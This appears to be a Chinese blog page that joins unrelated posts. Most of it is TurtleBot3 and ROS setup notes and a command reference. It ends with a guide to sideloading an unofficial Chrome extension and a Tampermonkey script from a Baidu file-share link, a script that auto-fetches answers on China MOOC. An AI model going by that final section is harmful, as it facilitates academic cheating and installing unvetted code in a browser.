  如果没有确定好初始位置开始进行扫描测量地形,其地图初始点未知,在导航实验中如果不能从原出发点开始运行,会产生地图定位不准的问题,所以在一定程度上也会影响到内部程序对轨迹规划的运算,因为在导航功能中小车的轨迹规划是同时计算原测量地图和实时雷达扫描障碍物的最优解。

  在开始导航前,应尽可能多次拖动箭头来精确的确定小车的位置,否则可能出现小车无法启动的情况,因为当构建的地图面积不大时,小车的起始位置的相对误差就会变大,所以为了能使小车精确的进行导航,应该尽可能精确地确定小车的起始位置。

  同时,在实验中杂乱的周边环境对导航功能也会产生较大影响。所以总的来说,小车的运行原理和计算能力对实验场地提出了一定要求。

1)异常处理;

1
2
3
4
try:
print("[+] 1037/0 = "+str(1037/0))
except Exception as e: #python2: except Exception,e:
print("[-] Error = "+str(e))

机器人连接和远程控制

准备

充电

  • 充电有两种方式:

    ①直接供电:电源适配器连接树莓派上的圆孔;

    ②电池供电:电源适配器插到蓝色的那个充电器,再将充电器与Burger底座的电池相连接。(当电池电量低于11V时,电池会发出持续的警报声,而且部分控件无法工作,此时应该将电池充电。)

    当机器人不需要挪动,即调试阶段时,建议采取直接供电的方式。

    直接供电真挺方便的,电池供电那个蓝色的充电器好难拔下来……

连接显示屏

  • 然后HDMI的插孔在USB插孔旁边,USB插孔在树莓派上面那一层。

    那一排USB之后还可以接鼠标键盘等。

  • 显示器的HDMI插孔可能在机子后边,多看看多找找,插得上的就是了。

  • 然后,给显示器供电。先插线,再打开Burger开关!(开关在树莓派上),然后显示器就会有信号输入。

联网

将Burger和主机连到同一个局域网中。

  • 主机连WiFi不用多说。
  • Burger连WiFi是在显示屏上面操作,和主机连WiFi没啥区别。
问题 解决办法
为啥要连同一个WiFi? 答:ROS系统在使用过程中,移动机器人需要访问并传递信息到远程电脑建立的程序核心服务器(roscore),信息不经过互联网,所以只能在局域网中进行连接。
Ubuntu虚拟机连不上WiFi 1. 虚拟机-设置-网络适配器,选择桥接模式。
2. 编辑-虚拟网络编辑器-更改设置,在桥接的那个网卡中,把WiFi网卡改成自己的网卡。(真机上查看网络属性有网卡名字)
真机连不上WiFi ①连上了,只是上不了网。不行就算了,没必要有网。真想有就登录路由器管理界面(路由器盒子底下的网址),多设置设置,看看路由器是否可以连上别的网。
②连不上。看看有没有对应的WiFi名称。如果连WiFi名字都搜不到,考虑重启路由器,还是不行就把路由器恢复出厂设置,再不行就看看别人搜得到吗,都不行就换个路由器……
小车连不上WiFi wlan0是无线网卡,eth0是有线网卡。以下仅针对无线连接。
1. 如果连接成功,但是WiFi频繁闪烁:ifconfig检查wlan0网卡的IP地址是否正常。如果IP地址是115之类的奇怪数字,说明dhcp自动获取IP有问题。一般是因为树莓派的网卡设置有误。
解决方案:尝试用网线有线连接小车。或尝试手动获取IP地址。
2. 如果无法自动获取IP地址:
解决方案1:修改dhcpcd.conf:sudo nano /etc/dhcpd.conf
滑到最底端,删除曾连接过的wifi名称和密码。
ctrl+o保存,ctrl+x退出,sudo reboot重启(或者手动重启),然后再次连接网络即可。
解决方案2:sudo dhclient -d wlan0 #删除dhcp获取的ip
sudo dhclient wlan0 -v #dhcp自动获取ip

如何丢掉显示屏

方法一:ssh连接

优点:稳定;缺点:命令行操作,不好看。

ssh -Y【Burger的用户名】@【Burger的IP】

  1. 首先需要检查【主机】和【Burger】的 IP 地址。
    打开终端,在终端中输入 ifconfig。

    如果你不希望之后频繁更改配置,你可以为Burger分配静态IP。

  2. 记住【Burger的IP】、【Burger的用户名】、【主机IP】。

  3. 主机中输入ssh -Y【Burger的用户名】@【Burger的IP】(这里是pi@192.168.1.133)

    -Y参数可以让你之后能直接在主机上gedit小车的.bashrc文件。如果不加这个参数,你可以使用nano编辑文件。(比如sudo nano ~/.bashrc)

  4. 输入密码(默认turtlebot,不排除有人二次改动),连接成功。

方案二:远程桌面连接mstsc

优点:好看;缺点:连接时不稳定。

  1. 在小车中安装xrdp服务:
1
pi@raspberrypi:~ $ sudo apt-get install xrdp
  1. 打开win电脑的远程桌面:win+r,输入mstsc,回车,输入ip,回车。
  2. 输入账号密码,连接成功,显示桌面。

网络配置

  1. 【主机】、【Burger】的终端中运行:

    gedit ~/.bashrc。

  2. 在.bashrc中追加(或修改)(注意空格):

    【主机】:

    export ROS_MASTER_URI=http://【主机 IP】:11311
    export ROS_HOSTNAME=【主机 IP】
    export TURTLEBOT3_MODEL=burger

    【Burger】:
    export ROS_MASTER_URI=http://【主机 IP】:11311
    export ROS_HOSTNAME=【Burger的IP】

  3. 重启终端或者source ~/.bashrc,重新ssh连接。

  4. 解释:export TURTLEBOT3_MODEL=burger是为了在后续可视化操作中调用正确的三维模型【burger】。

  5. 显示器可以关了,之后的操作直接在主机上就能完成。

下载各种依赖包

请直接复制粘贴表格内容,如果遇到错误,请直接查看最右侧解决方案。

下载完成的跳过这一步。如果报错,不要忘了回到这一步来看看喔!

依赖包 安装过程 安装报错时的解决方案
Turtlebot3的包 mkdir -p ~/catkin_ws/src
cd ~/catkin_ws/src
git clone https://hub.fastgit.org/ROBOTIS-GIT/turtlebot3_msgs.git
git clone https://hub.fastgit.org/ROBOTIS-GIT/turtlebot3.git
git clone https://hub.fastgit.org/ROBOTIS-GIT/hls_lfcd_lds_driver.git
cd ~/catkin_ws && catkin_make
sudo echo “source ~/catkin_ws/devel/setup.bash” >> ~/.bashrc
问题解决方案1————-catkin_make编译时候的各种问题汇总
roslaunch、使用rviz的时候需要的依赖包 sudo apt update
sudo apt-get install ros-noetic-gazebo-ros ros-noetic-gazebo-ros-control ros-noetic-robot-state-publisher ros-noetic-gmapping ros-noetic-rviz ros-noetic-joy ros-noetic-teleop-twist-joy ros-noetic-teleop-twist-keyboard ros-noetic-laser-proc ros-noetic-rgbd-launch ros-noetic-rosserial-arduino ros-noetic-rosserial-python ros-noetic-rosserial-client ros-noetic-rosserial-msgs ros-noetic-amcl ros-noetic-map-server ros-noetic-move-base ros-noetic-urdf ros-noetic-xacro ros-noetic-compressed-image-transport ros-noetic-rqt-image-view ros-noetic-gmapping ros-noetic-navigation ros-noetic-interactive-markers libasound2-dev
先更新源,然后报啥错就下啥包。(其中noetic更换为自己的ros版本。)

控制的流程

控制之前可以重启小车,因为刚刚准备工作运行了太多内容。

roscore检测网络配置是否正确

  1. 预期结果:【主机】、【Burger】都显示连接到【主机IP】。

  2. 异常情况:

    • 【主机】的IP值不对:按照配置Burger和主机的网络重新配置网络配置。

    • 【Burger】的IP值不对:

      • 如果显示器还开着,就按照配置Burger和主机的网络重新配置网络配置。

      • 如果显示器已经关掉了,却直接gedit ~/.bashrc,可能会显示连接不上。

        为了方便起见,我们在ssh连接后,直接在终端运行

        export ROS_MASTER_URI = http://【主机 IP】:11311
        export ROS_HOSTNAME = 【Burger的IP】

        从而可以直接改变小车对应的MASTER_URI。

        也可以把ssh连接的指令换成ssh -Y 用户名@IP,这样就能打开gedit了。

运行远程控制程序包

  1. 【Burger】:roslaunch turtlebot3_bringup turtlebot3_robot.launch

    解释:在机器人桌面终端调用Turtlebot3 应用程序。

  2. 【主机】:roslaunch turtlebot3_bringup turtlebot3_remote.launch

    解释:启动Turtlebot远程应用。

  3. 【主机】:rosrun rviz rviz -d `rospack find turtlebot3_description`/rviz/model.rviz

    解释:启动Rviz。

  4. 【主机】:roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch

    解释:运行无线操作依赖包中的键盘驱动程序。

  5. 在4中的终端中按w/a/s/d/x键就能用键盘远程控制小车。

order.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

# 主机的准备工作:
mkdir -p ~/catkin_ws/src
cd ~/catkin_ws/src
#github国内有时候访问不上,可使用hub.fastgit.org镜像
#git clone https://github.com/ROBOTIS-GIT/turtlebot3_msgs.git
#git clone https://github.com/ROBOTIS-GIT/turtlebot3.git
#git clone https://github.com/ROBOTIS-GIT/hls_lfcd_lds_driver.git
git clone https://hub.fastgit.org/ROBOTIS-GIT/turtlebot3_msgs.git
git clone https://hub.fastgit.org/ROBOTIS-GIT/turtlebot3.git
git clone https://hub.fastgit.org/ROBOTIS-GIT/hls_lfcd_lds_driver.git

cd ~/catkin_ws && catkin_make
# 参考https://www.codenong.com/cs88087849/
sudo apt-get install ros-noetic-robot-state-publisher
sudo apt-get install ros-noetic-gmapping ros-noetic-rviz
sudo apt-get install ros-noetic-joy ros-noetic-teleop-twist-joy ros-noetic-teleop-twist-keyboard ros-noetic-laser-proc ros-noetic-rgbd-launch ros-noetic-rosserial-arduino ros-noetic-rosserial-python ros-noetic-rosserial-client ros-noetic-rosserial-msgs ros-noetic-amcl ros-noetic-map-server ros-noetic-move-base ros-noetic-urdf ros-noetic-xacro ros-noetic-compressed-image-transport ros-noetic-rqt-image-view ros-noetic-gmapping ros-noetic-navigation ros-noetic-interactive-markers

# 显示屏上:
ifconfig
# 记住【Burger的IP】192.168.1.133
# gedit ~/.bashrc
# 追加export ROS_MASTER_URI=http://【主机 IP】:11311
# 追加export ROS_HOSTNAME=【Burger的IP】
# source ~/.bashrc

# 主机终端A:
ifconfig
# 记住【主机IP】192.168.1.105
gedit ~/.bashrc
# 追加export ROS_MASTER_URI=http://【主机 IP】:11311
# 追加export ROS_HOSTNAME=【主机 IP】
# 追加export TURTLEBOT3_MODEL=burger
# 追加source ~/catkin_ws/devel/setup.bash
source ~/.bashrc
# roscore检查主机地址设置是否正确

# 主机终端B:
ssh -Y pi@【Burger的IP】
gedit ~/.bashrc
# 追加export ROS_MASTER_URI=http://【主机 IP】:11311
# 追加export ROS_HOSTNAME=【Burger的IP】
source ~/.bashrc
roscore

# 主机终端C:
ssh -Y pi@【Burger的IP】
roslaunch turtlebot3_bringup turtlebot3_robot.launch

# 主机终端D:
# roslaunch turtlebot3_bringup turtlebot3_remote.launch
rosrun rviz rviz -d `rospack find turtlebot3_description`/rviz/model.rviz
# 上一条注:开启仿真模拟rviz

# 主机终端E:
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch
# 上一条注:用wasd控制,可以看到rviz上的车也有动静;
# rviz:红色的是雷达检测的障碍物

流程

  1. 创建文件夹A,A下创建文件夹src:mkdir -p A/src
  2. src下:catkin_init_workspace
  3. A下:catkin_make
  4. src下,创建工作包learning_pkg:catkin_create_pkg learning_pkg
  5. A下:gedit ~/.bashrc,结尾添加source ~/A/devel/setup.bash
  6. 重启终端
  7. A下,测试环境变量是否添加成功:echo $ROS_PACKAGE_PATH

C++文件:

  1. learning_pkg的src下:添加一个xxx.cpp,然后gedit CMakeLists.txt,在154行加

    add_executable(xxx src/xxx.cpp)
    target_link_libraries(ccc ${catkin_LIBRARIES})

  2. A下:catkin_make

  3. 重启终端

Python文件:

  1. learning_pkg的src下:添加一个xx.py,然后右键设置成允许作为可执行文件。
  2. 重启终端(把小海龟也重启了)

ROS基本命令

右键新标签页查看大图!

have to do

Command

Command Result 中文解释 图示
roscore Open the core of the ROS. 启动ROS Master。
sudo apt install python3-ros+ Install the ros+ command. 下载需要用到的命令,如rosservice(如果你的python版本不是python3,用python-ros+就行)

Error

Error Whose Solution
roscore gedit ~/.bashrc
export ROS_MASTER_URI=http://localhost:11311
export ROS_HOSTNAME=localhost
export ROS_IP=’hostname -I’
source ~/.bashrc
“正在等待缓存锁:无法获得锁……” apt install use ‘sudo -i’ and install with root
若之后的指令运行不了,检查是否有右侧所示包,有关ros系统的安装问题参考Ubuntu 20.04安装Ros Noetic及Ubuntu 18.04安装ROS Melodic(两版本详细填坑) rosrun turtlesim等等 sudo apt-get install ros-noetic-rospy、sudo apt install ros-noetic-roslaunch、sudo apt install ros-noetic-rosbash、sudo apt install ros-noetic-turtlesim、sudo apt-get install ros-noetic -teleop-twist-keyboard(注意我的版本是ubuntu20.04,因此对应ros-noetic系统)

need to run

rosrun: ros-run

Command Result 中文解释 图示
rosrun turtlesim Show you all the turtlesim commands. 列出所有可用的turtlesim命令。
rosrun turtlesim turtlesim-node Create and run a turtle node. 启动小海龟结点、小海龟仿真器。
rosrun turtlesim turtle_teleop_key Create and run a control node to control turtle with keyboard. 启动小海龟控制结点。

Error

Error Whose Solution
rosrun turtlesim 打完指令之后,不要回车,tab两次就能出结果。

how to know

rqt_

Command Result 中文解释 图示
rqt_graph Show a graph contained nodes, topics and so on. 利用基于qt的可视化工具显示系统当前的结点和话题信息。
rqt_plot rqt_plot /turtle1/pose/x:y: A plot show just-in-time turtle1’s pose. 基于qt的用于显示某信息的坐标工具。

ros+

Command Add Result 图示
rosnode list,info,ping,machine,kill,cleanup rosnode list: Show the names of all the nodes.
rosnode info ABC: Show the information of the node named ABC, such as Publications, Subscriptions, Services and some Low-level communication information.
/rosout is a default active node.
rostopic bw,delay,echo,find,hz,info,list,pub,type rostopic list: Show the names of all the topics.
rostopic pub ABC content[tab,tab]: Publish the content of ABC. Tab twice will make the content show.
rostopic hz: 用来检测消息标题的发布频率。
rosmsg show,info,list,md5,package,packages rosmsg show [tab,tab]: Show message description. Tab twice will make the message description show.
rosservice list,call,args,find,info,type,uri rosservice list: Show the names of all the services.
rosservice call ABC content[tab,tab]: Open a service named ABC, whose content can be shown by tab twice.
/spwan是产卵的意思。
rosbag record,play rosbag record: Start recording messages.
rosbag play ABC: Play the messages of the bag named ABC.

附录

  ROS可以通过在shell环境中输入命令来进行文件系统的使用、源代码编辑、构建、调试和功能包管理等。为了正确使用ROS,除了基本的Linux命令之外,还需要熟悉ROS专用命令。为了熟练掌握ROS的各种命令,我们对每个命令的功能进行了简单的描述,并给出了例子。在介绍每条命令时,考虑到使用的频率和重要性,标了星级评分。虽然很难从一开始就很熟练地使用所有的命令,但是随着使用的次数增多,读者会发现越来越方便快捷地使用各个ROS命令。

ROS功能包命令

roscd:移动功能包

roscd [功能包名称]
这是一个移动到保存有功能包的目录的命令。该命令的基本用法是在roscd命令之后将功能包名称写入参数。在以下示例中,turtlesim功能包位于安装ROS的目录中,但是,如果将创建的功能包名称(例如,在上一章中创建的your_pkg)作为参数,则会移至您指定的功能包的目录。这是在使用基于命令行的ROS时常用的命令。

1
2
3
4
$ roscd turtlesim
/ opt / ros / kinetic / share / turtlesim
$ roscd your_pkg
~/ catkin_ws / src / your_pkg

rosls: ROS文件列表

rosls [功能包名称]
该命令查看指定的ROS功能包的文件列表。您可以使用roscd命令移动到功能包,然后使用正常的ls命令执行相同的功能,但有时需要立即查看。实际中并不经常使用。

1
2
$ rosls turtlesim
cmake images msg srv package.xml

ROS执行命令

ROS执行命令管理ROS节点的运行。最重要的是,roscore被用作节点之间的名称服务器。执行命令是rosrun和roslaunch。rosrun运行一个节点,当运行多个节点或设置各种选项时使用roslaunch。rosclean是删除节点执行时记录的日志的命令。

roscore: 运行roscore

roscore [选项]
roscore命令会运行主节点,主节点管理节点之间的消息通信中的连接信息。主节点是使用ROS时必须首先被运行的必要元素。ROS 主节点由roscore运行命令来驱动,并作为XMLRPC服务器运行。主节点接收多种信息的注册,如节点的名称、话题和服务名称、消息类型、URI地址和端口号,并在收到节点的请求时将此信息通知给其他节点。此外,会运行rosout ,这个命令用于记录ROS中使用的ROS标准输出日志,例DEBUG、INFO、WARN、
ERROR和FATAL。它还运行一个管理参数的参数服务器。当执行roscore时,将用户设置的ROS_MASTER_URI作为主URI,并且驱动主节点,用户可以在~/.bashrc文件中设置。ROS_MASTER_URI。

rosrun:运行ROS节点

rosrun [功能包名称] [节点名称]
rosrun是执行指定的功能包中的一个节点的命令。以下例子运行turtlesim功能包的turtlesim_node节点。请注意,屏幕上出现的乌龟图标是随机选择并运行的。你也可以敲击[Tab] 观察turtlesim下的其他程序功能。

1
$ rosrun turtlesim turtlesim_node

roslaunch:运行多个ROS节点

roslaunch [功能包名称] [ launch 文件名]
roslaunch是运行指定功能包中的一个或多个节点或设置执行选项的命令。使用launch文件启动的方式对于运行多个节点非常有用,这是ROS中常用的执行方法。实例见实验六。

rosclean:检查及删除ROS日志

rosclean [选项]
该命令检查或删除ROS日志文件。在运行roscore时,对所有节点的记录都会写入日志文件,随着时间的推移,需要定期使用rosclean命令删除这些记录。以下是检查日志使用情况的示例。

1
2
3
$ rosclean check
320K ROS node logs
→ 意味着 ROS 日志一共占 320KB

当运行roscore时,如果显示以下警告信息,则意味着日志文件超过1GB,如果用户觉得会让系统不堪重负,请使用rosclean命令将其删除。

1
WARNING : disk usage in log directory [/ xxx /. ros / log ] is over 1GB .

以下是删除ROS日志存储库(笔者是/home/rt/.ros/log)的所有日志的示例。如果要删除它,请按y按钮将其删除。

1
2
3
4
5
6
$ rosclean purge
Purging ROS node logs .
PLEASE BE CAREFUL TO VERIFY THE COMMAND BELOW !
Okay to perform :
rm -rf /home/pyo/.ros/log
( y / n )?

ROS信息命令

ROS信息命令用于识别话题、服务、节点和参数等信息。尤其是rostopic、rosservice、
rosnode和rosparam经常被使用,并且rosbag是ROS的主要特征之一,它具有记录数据和回放功能,务必要掌握。

运行节点

我们将使用下面的命令,利用ROS提供的turtlesim来了解相关的节点、话题和服务。在使用ROS信息命令进行测试之前,需要做好以下准备工作。为确保顺利进行,关闭所有以前运行的终端。然后打开一个新的终端并运行以下命令。

1
$ roscore

为了运行turtlesim功能包中的turtlesim_node节点,打开一个新的终端并运行以下命令。这将从turtlesim功能包运行turtlesim_node。用户会在一个蓝色的屏幕上看到乌龟。

1
$ rosrun turtlesim turtlesim_node

运行turtlesim功能包中的turtle_teleop_key节点,打开一个新的终端并运行以下命令。这将在turtlesim功能包中运行turtle_teleop_key。一旦执行,可以在该终端窗口上,用键盘上的方向键控制乌龟。请自己尝试。当您按下方向键时,屏幕上的乌龟会移动,这是一个简单的仿真,但这是将驱动机器人所需的移动速度(m/s)和旋转速度(rad/s)用消息传送的。

1
$ rosrun turtlesim turtle_teleop_key

rosnode:ROS节点

rosnode list:列出正在运行中的所有节点

这是列出连接到roscore的所有节点的命令。如果已经运行了roscore和之前准备好的节点(turtlesim_node,turtle_teleop_key),则可以看到终端中列出了用于在roscore进行日志记录的rosout,以及teleop_turtle和turtlesim节点。

1
2
3
4
$ rosnode list
/rosout
/teleop_turtle
/turtlesim

rosnode info [节点名称]:检查指定节点的信息

使用rosnode info命令可以查看指定节点的信息。基本上,用户可以检查发布者、订阅者和服务等。此外,还可以检查关于节点运行URI和话题输入/输出的信息。由于会显示大量信息,因此省略了内容,所以请务必亲自运行。

1
2
3
4
$ rosnode info / turtlesim
------------------------------------------------
Node [/ turtlesim ] Publications :
* / turtle1 / color _ sensor [ turtlesim / Color ]

rosnode kill [节点名称]:终止指定节点的运行

这是一个终止正在运行的节点的命令。您可以在运行节点的终端窗口中使用[Ctrl+c]直接终止节点,但也可以指定要结束的的节点,如下所示。

1
2
3
$ rosnode kill /turtlesim
killing /turtlesim
killed

如果使用该命令终止了节点,则会在运行该节点的终端窗口上显示如下警告消息,并关闭该节点。

1
2
[ WARN ] [ 1499668430 . 215002371 ]: Shutdown request received .
[ WARN ] [ 1499668430 . 215031074 ]: Reason given for shutdown : [ user request ]

rostopic: ROS话题

在运行ROS话题示例之前,请先关闭所有节点。通过在不同的终端窗口中分别运行以下命令来运行turtlesim_node和turtle_teleop_key。

1
2
3
$ roscore
$ rosrun turtlesim turtlesim_node
$ rosrun turtlesim turtle_teleop_key

rostopic list:显示当前正在发送和接收的所有话题的列表。

1
2
3
4
5
6
$ rostopic list
/ rosout
/ rosout_agg
/ turtle1/cmd_vel
/ turtle1/color_sensor
/ turtle1/pose

rostopic echo [话题名称]:实时显示指定话题的消息内容

以下示例实时显示组成/turtle1/pose话题的x、y、theta、linear_velocity和angular_velocity的数据。

1
2
3
4
5
6
$ rostopic echo /turtle1/pose
x:5.35244464874
y:5.544444561
theta:0.0
linear_velocity:0.0
angular_velocity:0.0

rostopic info [话题名称]:显示指定话题的信息

在以下示例中,用户可以看到/turtle1/pose话题使用turtlesim/Pose消息类型,发布到/turtlesim节点,并且没有实际订阅的话题。

1
2
3
4
$ rostopic info /turtle1/pose
Type:turtlesim/Pose
Publishers:*/turtlesim(http://192.168.1.100:42443/)
Subscribers:None

rostopic pub [话题名称] [消息类型] [参数]:使用指定的话题名称发布消息

以下是使用/turtle1/cmd_vel话题名称发布类型为geometry_msgs/Twist的消息的示例

1
2
$ rostopic pub -1 /turtle1/cmd_vel geometry_msgs/Twist -- ‘[2.0, 0.0 ,0.0 ]’ ‘[0.0 ,0.0 ,1.8 ]’
publishing and latching message for 3 . 0 seconds

每个选项的描述如下:

ROS catkin命令

ROS的catkin命令用于使用catkin 构建系统来构建功能包。

catkin_create_pkg:自动生成功能包

catkin _ create _ pkg [功能包名称] [依赖性功能包 1 ] [依赖性功能包 2 ] …
catkin_create_pkg是创建一个包含CMakeLists.txt和package.xml文件的空功能包的命令。以下例子显示了使用catkin_create_pkg命令创建一个依赖于roscpp和std_msgs的my_package功能包。

1
$ catkin_create_pkg my_package roscpp std_msgs

catkin_make:基于catkin 构建系统的构建

catkin_make [选项]
catkin_make是构建用户创建的功能包或构建下载的功能包的命令。以下示例是构建~/catkin_ws/src目录中所有功能包的示例。

1
2
$ cd ~/catkin_ws
$ catkin_make

如果要只构建一部分功能包,而不是全部功能包,请使用“–pkg [包名]”选项来运行,如下所示:

1
$ catkin_make -- pkg my_package

第一步 下载谷歌上网助手

链接:https://pan.baidu.com/s/1-QimGqEr7fLtpfkSP35waA
提取码:b9lm
下载这个文件夹中“谷歌上网助手.zip”。
之后解压,然后点击Chrome浏览器右上角三个点->更多工具->扩展程序,点开后,打开右上角开发者模式,于是左上角出现“加载已解压的扩展程序”,选中你的解压完成的文件夹。然后就添加成功了。
右上角出现黄黄绿绿蓝蓝红红的一个圈,点击,用邮箱注册,然后就可以使用谷歌一系列的服务了。
若本来就可以使用谷歌的服务或者希望在火狐浏览器下载,请忽略这一步。

第二步 下载油猴插件

点击Chrome浏览器右上角三个点->更多工具->扩展程序,打开右上角开发者模式,然后点左上角,出现:

upload successful
然后点击最下方的“打开Chrome应用商店”,搜索tampermonkey,下载第一个。右上角出现油猴插件的图标。

第三步 新建脚本

upload successful

点击右上角的油猴图标,点击添加新脚本,然后清空原内容,复制粘贴网盘中的“中国大学mooc脚本.txt”内容:
链接:https://pan.baidu.com/s/1-QimGqEr7fLtpfkSP35waA
提取码:b9lm
最后保存:
upload successful

第四步 使用脚本

该脚本是供mooc网页版使用的,来到mooc网页,即可使用该脚本具有的功能,如自动检索答案。